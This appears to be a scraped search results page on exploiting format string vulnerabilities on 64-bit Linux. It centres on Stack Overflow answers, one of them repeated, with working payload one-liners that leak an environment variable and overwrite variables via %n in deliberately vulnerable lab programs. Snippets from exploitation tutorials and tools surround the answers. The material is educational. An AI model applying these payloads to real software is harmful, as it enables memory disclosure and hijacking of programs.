So, after experimenting for a while, I ran into a way to read an environment variable by using the format string vulnerability. It's a bit sloppy, but hey - it works.

So, first the usual. I create an environment value and find its location:

$ export FSTEST="Look at my horse, my horse is amazing."

$ echo $FSTEST                                                                                                
Look at my horse, my horse is amazing.

$ /getenvaddr FSTEST ./fmt
FSTEST: 0x7fffffffefcb

Now, no matter how I tried, putting the address before the format strings always got both mixed, so I moved the address to the back and added some padding of my own, so I could identify it and add more padding if needed. Also, python and my environment don't get along with some escape sequences, so I ended up using a mix of both the python one-liner and printf (with an extra '%' due to the way the second printf parses a single '%' - be sure to remove this extra '%' after you test it with od/hexdump/whathaveyou)

$ printf `python -c "print('%%016lx|' *1)"\
  `$(printf '--------\xcb\xef\xff\xff\xff\x7f\x00') | od -vAn -tx1c
  25  30  31  36  6c  78  7c  2d  2d  2d  2d  2d  2d  2d  2d  cb
   %   0   1   6   l   x   |   -   -   -   -   -   -   -   - 313
  ef  ff  ff  ff  7f
 357 377 377 377 177

With that solved, next step would be to find either the padding or (if you're lucky) the address. I'm repeating the format string 110 times, but your mileage might vary:

./fmt `python -c "print('%016lx|' *110)"\
`$(printf '--------\xcb\xef\xff\xff\xff\x7f\x00')

vulnerable string: %016lx|%016lx|%016lx|%016lx|%016lx|...|--------
00000000004052a0|0000000000000000|0000000000000000|fffffffffffffff3|
0000000000000324|...|2d2d2d2d2d2d7c78|7fffffffefcb2d2d|0000038000000300|
00007fffffffd8d0|00007ffff7ffe6d0|--------

The consecutive '2d' values are just the hex values for '-' After adding more '-' for padding and testing, I ended up with something like this:

./fmt `python -c "print('%016lx|' *110)"\
`$(printf '------------------------------\xcb\xef\xff\xff\xff\x7f\x00')

vulnerable string: %016lx|%016lx|%016lx|%016lx|...|------------------------------
00000000004052a0|0000000000000000|0000000000000000|fffffffffffffff3|
000000000000033a|...|2d2d2d2d2d2d7c78|2d2d2d2d2d2d2d2d|2d2d2d2d2d2d2d2d|
2d2d2d2d2d2d2d2d|00007fffffffefcb|------------------------------

So, the address got pushed towards the very last format placeholder. Let's modify the way we output these format placeholders so we can manipulate the last one in a more convenient way:

$ ./fmt `python -c "print('%016lx|' *109 + '%016lx|')"\
`$(printf '------------------------------\xcb\xef\xff\xff\xff\x7f\x00')

vulnerable string: %016lx|%016lx|%016lx|...|------------------------------
00000000004052a0|0000000000000000|0000000000000000|fffffffffffffff3|
000000000000033a|...|2d2d2d2d2d2d7c78|2d2d2d2d2d2d2d2d|2d2d2d2d2d2d2d2d|
2d2d2d2d2d2d2d2d|00007fffffffefcb|------------------------------

It should show the same result, but now it's possible to use an '%s' as the last placeholder. Replacing '%016lx|' with just '%s|' wont work, because the extra padding is needed. So, I just add 4 extra '|' characters to compensate:

./fmt `python -c "print('%016lx|' *109 + '||||%s|')"\
`$(printf '------------------------------\xcb\xef\xff\xff\xff\x7f\x00')

vulnerable string: %016lx|%016lx|%016lx|...|||||%s|------------------------------
00000000004052a0|0000000000000000|0000000000000000|fffffffffffffff3|
000000000000033a|...|2d2d2d2d2d2d7c73|2d2d2d2d2d2d2d2d|2d2d2d2d2d2d2d2d|
2d2d2d2d2d2d2d2d|||||Look at my horse, my horse is amazing.|
------------------------------

Voilà, the environment variable got leaked.

Answer from gb_away on Stack Overflow
🌐
Seedsecuritylabs
seedsecuritylabs.org › Labs_20.04 › Files › Format_String_x64 › Format_String_x64.pdf pdf
SEED Labs – Format String Vulnerability Lab (64-bit) 1
supports 64-bit address space, only the address from 0x00 through 0x00007FFFFFFFFFFF is allowed. That means for every address (8 bytes), the highest two bytes are always zeros. This causes a problem. In the attack, we need to place addresses inside the format string.
Discussions

linux - Reading an environment variable using the format string vulnerability in a 64 bit OS - Stack Overflow
I'm trying to read a value from the environment by using the format string vulnerability. This type of vulnerability is documented all over the web, however the examples that I've found only cover 32 More on stackoverflow.com
🌐 stackoverflow.com
Can I do a String Format Exploit for x64 systems? - Information Security Stack Exchange
I was trying to replicate the experiment in Gray Hat Hacking - Third Edition, Chapter 12, about Format String Exploits, but their architecture is IA32, while mine is AMD 64bits. Therefore when I ch... More on security.stackexchange.com
🌐 security.stackexchange.com
April 7, 2017
c - How to use Format String Attack - Stack Overflow
Assume I have the following code: #include #include #include int num1 = 0; int main(int argc, char **argv){ double num2; int *ptr = &... More on stackoverflow.com
🌐 stackoverflow.com
How to read memory from format string exploit correctly - Information Security Stack Exchange
I'm trying to solve a problem on format string exploitation in which I have to overwrite anything in a specific address. Since the target address has a null byte at the begining, I need to write it... More on security.stackexchange.com
🌐 security.stackexchange.com
April 3, 2021
🌐
Codearcana
codearcana.com › posts › 2013 › 05 › 02 › introduction-to-format-string-exploits.html
Introduction to format string exploits
May 2, 2013 - $ python >>> 0x2250 - 12 # We've already written 12 bytes ("sh;#AAAABBBB"). 8772 >>> 0x555c - 0x2250 # We've already written 0x2250 bytes. 13068 · Now we plug these values into our payload, change the %hp to %hn. Note that when we change the 000x to 772, we leave the leading 0 so that our string stays the same length. Here is the final exploit:
🌐
NVISO Labs
blog.nviso.eu › 2024 › 05 › 23 › format-string-exploitation-a-hands-on-exploration-for-linux
Format String Exploitation: A Hands-On Exploration for Linux – NVISO Labs
May 23, 2024 - Send a format string payload that overwrites the puts function address in the GOT with the system function address in libc, Continue execution to give control to the operator. We are going to use the popular pwntools library for Python 3 to help us out quite a bit.
Top answer
1 of 1
1

So, after experimenting for a while, I ran into a way to read an environment variable by using the format string vulnerability. It's a bit sloppy, but hey - it works.

So, first the usual. I create an environment value and find its location:

$ export FSTEST="Look at my horse, my horse is amazing."

$ echo $FSTEST                                                                                                
Look at my horse, my horse is amazing.

$ /getenvaddr FSTEST ./fmt
FSTEST: 0x7fffffffefcb

Now, no matter how I tried, putting the address before the format strings always got both mixed, so I moved the address to the back and added some padding of my own, so I could identify it and add more padding if needed. Also, python and my environment don't get along with some escape sequences, so I ended up using a mix of both the python one-liner and printf (with an extra '%' due to the way the second printf parses a single '%' - be sure to remove this extra '%' after you test it with od/hexdump/whathaveyou)

$ printf `python -c "print('%%016lx|' *1)"\
  `$(printf '--------\xcb\xef\xff\xff\xff\x7f\x00') | od -vAn -tx1c
  25  30  31  36  6c  78  7c  2d  2d  2d  2d  2d  2d  2d  2d  cb
   %   0   1   6   l   x   |   -   -   -   -   -   -   -   - 313
  ef  ff  ff  ff  7f
 357 377 377 377 177

With that solved, next step would be to find either the padding or (if you're lucky) the address. I'm repeating the format string 110 times, but your mileage might vary:

./fmt `python -c "print('%016lx|' *110)"\
`$(printf '--------\xcb\xef\xff\xff\xff\x7f\x00')

vulnerable string: %016lx|%016lx|%016lx|%016lx|%016lx|...|--------
00000000004052a0|0000000000000000|0000000000000000|fffffffffffffff3|
0000000000000324|...|2d2d2d2d2d2d7c78|7fffffffefcb2d2d|0000038000000300|
00007fffffffd8d0|00007ffff7ffe6d0|--------

The consecutive '2d' values are just the hex values for '-' After adding more '-' for padding and testing, I ended up with something like this:

./fmt `python -c "print('%016lx|' *110)"\
`$(printf '------------------------------\xcb\xef\xff\xff\xff\x7f\x00')

vulnerable string: %016lx|%016lx|%016lx|%016lx|...|------------------------------
00000000004052a0|0000000000000000|0000000000000000|fffffffffffffff3|
000000000000033a|...|2d2d2d2d2d2d7c78|2d2d2d2d2d2d2d2d|2d2d2d2d2d2d2d2d|
2d2d2d2d2d2d2d2d|00007fffffffefcb|------------------------------

So, the address got pushed towards the very last format placeholder. Let's modify the way we output these format placeholders so we can manipulate the last one in a more convenient way:

$ ./fmt `python -c "print('%016lx|' *109 + '%016lx|')"\
`$(printf '------------------------------\xcb\xef\xff\xff\xff\x7f\x00')

vulnerable string: %016lx|%016lx|%016lx|...|------------------------------
00000000004052a0|0000000000000000|0000000000000000|fffffffffffffff3|
000000000000033a|...|2d2d2d2d2d2d7c78|2d2d2d2d2d2d2d2d|2d2d2d2d2d2d2d2d|
2d2d2d2d2d2d2d2d|00007fffffffefcb|------------------------------

It should show the same result, but now it's possible to use an '%s' as the last placeholder. Replacing '%016lx|' with just '%s|' wont work, because the extra padding is needed. So, I just add 4 extra '|' characters to compensate:

./fmt `python -c "print('%016lx|' *109 + '||||%s|')"\
`$(printf '------------------------------\xcb\xef\xff\xff\xff\x7f\x00')

vulnerable string: %016lx|%016lx|%016lx|...|||||%s|------------------------------
00000000004052a0|0000000000000000|0000000000000000|fffffffffffffff3|
000000000000033a|...|2d2d2d2d2d2d7c73|2d2d2d2d2d2d2d2d|2d2d2d2d2d2d2d2d|
2d2d2d2d2d2d2d2d|||||Look at my horse, my horse is amazing.|
------------------------------

Voilà, the environment variable got leaked.

🌐
Barrebas
barrebas.github.io › blog › 2015 › 02 › 22 › maximum-overkill-two-from-format-string-vulnerability-to-remote-code-execution
Maximum Overkill Two - From Format String Vulnerability to Remote Code Execution - staring into /dev/null
I noticed I could not re-use the connection I made via python sockets, so I had to reconnect for every format string I sent. This indeed dumped out the data on the stack. I found where the fifth parameter was pointing to: See, it points to the 636th parameter, because the lower 32 bits contain the value I’ve just written with %n!
🌐
BreakInSecurity
axcheron.github.io › exploit-101-format-strings
Exploit 101 - Format Strings - BreakInSecurity
April 22, 2018 - gdb-peda$ run < <(python -c 'print "\xae\x98\x04\x08\xac\x98\x04\x08 44x%4$hn1943x%5$hn"') Starting program: /home/user/demo/format4 < <(python -c 'print "\xae\x98\x04\x08\xac\x98\x04\x08 44x%4$hn1943x%5$hn"') ?? Code execution redirected ! [Inferior 1 (process 6884) exited with code 01] Warning: not running or target is remote gdb-peda$ You got it ! You made it ! Learning format strings exploitation is not an easy task but, try to do some wargames online. With a bit more practice, you will be able to solve them easily ;)
Find elsewhere
🌐
DEF CON
defcon.org › images › defcon-18 › dc-18-presentations › Haas › DEFCON-18-Haas-Adv-Format-String-Attacks.pdf pdf
Advanced Format String Attacks Presented by Paul Haas
The largest hacking and security conference with presentations, workshops, contests, villages and the premier Capture The Flag Contest.
🌐
nixhacker
nixhacker.com › case-of-format-string-in-64-bit-is-it-still-critical
Impact of x64 calling convention in format string exploitation
October 19, 2020 - The exploitation of format string ... to remote code execution. In 64 bit system the format strings exploitation is still present but the basics get changed a little due to 64 bit calling convention....
Top answer
1 of 1
6

If you're using the example code from the book (below), at some point you should reach the "AAAAAAAA" pattern (0x41). Note that, since you're running it on a 64-bit machine that stores elements in the stack with 8 bytes each, you should run it with $ ./fmtstr "AAAAAAAA %016x %016x %016x %016x %016x %016x %016x %016x %016x %016x %016x %016x %016x" instead, or you will miss part of each element on the stack.

#include <stdlib.h>
int main(int argc, char *argv[]){
        static int canary=0;   // stores the canary value in .data section
        char temp[2048];       // string to hold large temp string
      strcpy(temp, argv[1]);   // take argv1 input and jam into temp
      printf(temp);            // print value of temp
      printf("\n");            // print carriage return
      printf("Canary at 0x%08x = 0x%08x\n", &canary, canary); //print canary
}

You should pay attention to the quote in the book that states:

The fact that the fourth item shown (from the stack) was our format string depends on the nature of the format function used and the location of the vulnerable call in the vulnerable program. To find this value, simply use brute force and keep increasing the number of %08x tokens until the beginning of the format string is found. For our simple example (fmtstr), the distance, called the offset, is defined as 4.

Remember that the parameter being parsed to printf isn't the string itself, but the address of the string. So it's position on the memory layout of the program in relation to the printf stack is what will define how further you'll have to search to find it.

Top answer
1 of 1
9

First of all I recommend that you read the book Hacking: The Art of Exploitation. It is very good.

Now I try to explain how you can exploit your program. I assume that you know some basics about Format String Exploits, so I don't have to start from the very beginning. However it is important to disable ASLR and compile the executable without stack protection.

# disable ASLR
@> echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
# compile without stack protection
@> gcc -g -fno-stack-protector -z execstack fmt.c 

I modified your program a little bit, so it is easier to understand how the exploit works:

#include <stdio.h>

int num1 = 0xdead;

int main(int argc, char **argv){
    int num2 = 0xbeef;
    int *ptr = &num1;
    printf(argv[1]);

    if (num1 == 0xabc){
        printf("Well done");
    }
    if(num2 == 0xdef)
        printf("You are a format string expert");

    printf("\n[DEBUG] num1: 0x%x [%p] num2: 0x%x [%p]\n", num1, &num1, num2, &num2);
    return 0;
}

I am using a 64-Bit Ubunty System. The pointer size is 8 bytes.

The Exploit

variable num1

First we try to change the variable num1. The address of num1 is stored in ptr. ptr is a local variable in main, so it is put on the stack (type int*). To examine the stack we can use the %p format specifier.

@> ./a.out %p.%p.%p.%p.%p.%p.%p.%p.%p

Output:

0x7fffffffdf78.0x7fffffffdf90.(nil).0x7ffff7dd4e80.0x7ffff7dea560.0x7fffffffdf78.0x200400440.0xbeefffffdf70.0x601040
[DEBUG] num1: 0xdead [0x601040] num2: 0xbeef [0x7fffffffde84]

We can see that the 9th element has the value 0x601040. That is the same like the value in our debug message num1: 0xdead [0x601040]. Now we know that 0x601040 is the pointer to the variable num1 and it is located on the stack. To change that value (write in memory) we can use the %n format specifier in combination with the Direct Parameter Access %9$n to write to the address that is stored in the 9th stack position.

To gain access to the Well done message we only need to write 0xabc values to stdout and use %n to write that number in memory:

@> ./a.out `python -c "print('A' * 0xabc)"`%9\$n

I use python to generate that output. Now the program prints "Well done".

variable num2

If we take a close look to the output we see that the 8th element has the value beef. That is our variable num2. I still did not figure out, how to exploit num2 but I try to explain how to do it in theory. We want to put an arbitrary memory address on the stack. This address should be the address that points to num2 (0x7fffffffde84). After that we can use the %n parameter to write to that address. To put an address on the stack we can use the format string.

@> ./a.out `printf "\x08\x07\x06\x05\x04\x03\x02\x01"`

The problem is that we have to find the location of this format string on the stack.

@> ./a.out AAAA`printf "\x08\x07\x06\x05\x04\x03\x02\x01"`BBBB`python -c "print('%p.' * 200)"`

The 'A's and 'B's are just padding and it is also easier to find our address in the output. The exploit looks similar to the num1 exploit way:

@> ./a.out ADDRESS`python -c "print('A' * VAL_TO_WRITE)"`PADDING%LOCATION_OF_ADDRESS\$n

The problem: In our scenario the address of num2 is 0x7fffffffde84 (that is 0x00007fffffffde84). That address can not be written because 0x00 is the C-String Terminator. So we can not put the address in our format string.

🌐
GitHub
github.com › Inndy › formatstring-exploit
GitHub - Inndy/formatstring-exploit: Dead simple format string exploit payload generator
support python2 and python3 · tested on 2.7+ and 3.5+ support 32bits / 64bits payload generation · payload size optimize not implemented · pip install formatstring-exploit · from fmtstr import FormatString fmt = FormatString(offset=6, written=8, bits=64) fmt[0x601040] = 'DEADBEEF' payload, sig = fmt.build() def dump(x): try: from hexdump import hexdump hexdump(x) except ImportError: import binascii, textwrap print('\n'.join(textwrap.wrap(binascii.hexlify(x), 32))) dump(payload) 00000000: 25 35 37 63 25 32 31 24 68 68 6E 25 31 63 25 32 Wc!$hhn%2 00000010: 32 24 68 68 6E 25 32 63 25 32 33 2
Starred by 24 users
Forked by 6 users
Languages   Python 100.0% | Python 100.0%
🌐
ired.team
ired.team › offensive-security › code-injection-process-injection › binary-exploitation › format-string-bug
Format String Bug | Red Team Notes
October 31, 2021 - #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int target; void vuln(char *string) { printf(string); if(target) { printf("you have modified the target :)\n"); } } int main(int argc, char **argv) { vuln(argv[1]); } ... ./format1 "` python -c "print 'AAAA' + 'x38\x96\x04\x08' + 'BBBBBBBBBBBBBBBBBBBBBB' + '%x '*128 " `"; echo
🌐
Blogger
ret2rop.blogspot.com › 2018 › 08 › format-string-defeating-stack-canary-nx-aslr-remote.html
Format String Exploits: Defeating Stack Canary, NX and ASLR Remotely on 64 bit
July 14, 2021 - There are some addresses leaked too. You can verify it by loading the program in gdb and dumping stack. Here '%lx' is used for long hexadecimal as this is 64 bit and '-' is used to separate the output.
🌐
pwntools
docs.pwntools.com › en › stable › fmtstr.html
pwnlib.fmtstr — Format string bug exploitation tools — pwntools 4.15.0 documentation
It can generate payload for 32 or 64 bits architectures. The size of the addr is taken from context.bits · The overflows argument is a format-string-length to output-amount tradeoff: Larger values for overflows produce shorter format strings that generate more output at runtime.
🌐
GitHub
github.com › lovasoa › pyformat-challenge
GitHub - lovasoa/pyformat-challenge: Python format string vulnerability exploitation challenge · GitHub
Python format string vulnerability exploitation challenge - lovasoa/pyformat-challenge
Starred by 7 users
Forked by 4 users
Languages   Python 91.1% | Shell 8.9%
🌐
Infosec Institute
infosecinstitute.com › resources › secure-coding › how-to-exploit-format-string-vulnerabilities
How to exploit format string vulnerabilities | Infosec
September 21, 2020 - Let us pass multiple %llx strings as user input separated by a colon. %llx is to print long hex values since we are working on a 64-bit processor.
🌐
Stack Overflow
stackoverflow.com › questions › 30408045 › format-string-vulnerability-exploit-in-64-bits-systems
linux - Format string vulnerability exploit in 64 bits systems - Stack Overflow
September 12, 2016 - However there seems to be other issues too trying to exploit this weakness. That is, you can't write zeroes into memory with this method, as the printf will treat any zeroes as end-of-string and will stop there. Thus the address where you want to write to must not have leading zero bytes. This issue is already mentioned in http://www.thenewsh.com/~newsham/format-string-attacks.pdf.
🌐
Reddit
reddit.com › r/liveoverflow › format string exploitation on 64 bit. how about the null bytes?
r/LiveOverflow on Reddit: Format string exploitation on 64 bit. How about the null bytes?
April 26, 2020 -

I'm new to the argument, but I'm trying to do some very simple exercises on format string vulnerability. I'm unfortunately incurring in a problem: when I write the target address in which I will write with %_c (for example \x38\xdb\xff\xff\xff\x7f for 0x00007fffffffdb38) im not able to replicate the 0x0000 right before 7fffffffdb38. So when I try to run it the program will try to write with %c in the address : 0x[ _ _ _ --> random values that were previously there]7fffffffdb38. How can I actually write there 0x00007fffffffdb38? Obviously by doing : \x38\xdb\xff\xff\xff\x7f\x00\x00 won't solve the problem, as it will not overwrite the first 4 slots of the address.

Thanks to anyone that will try to help me.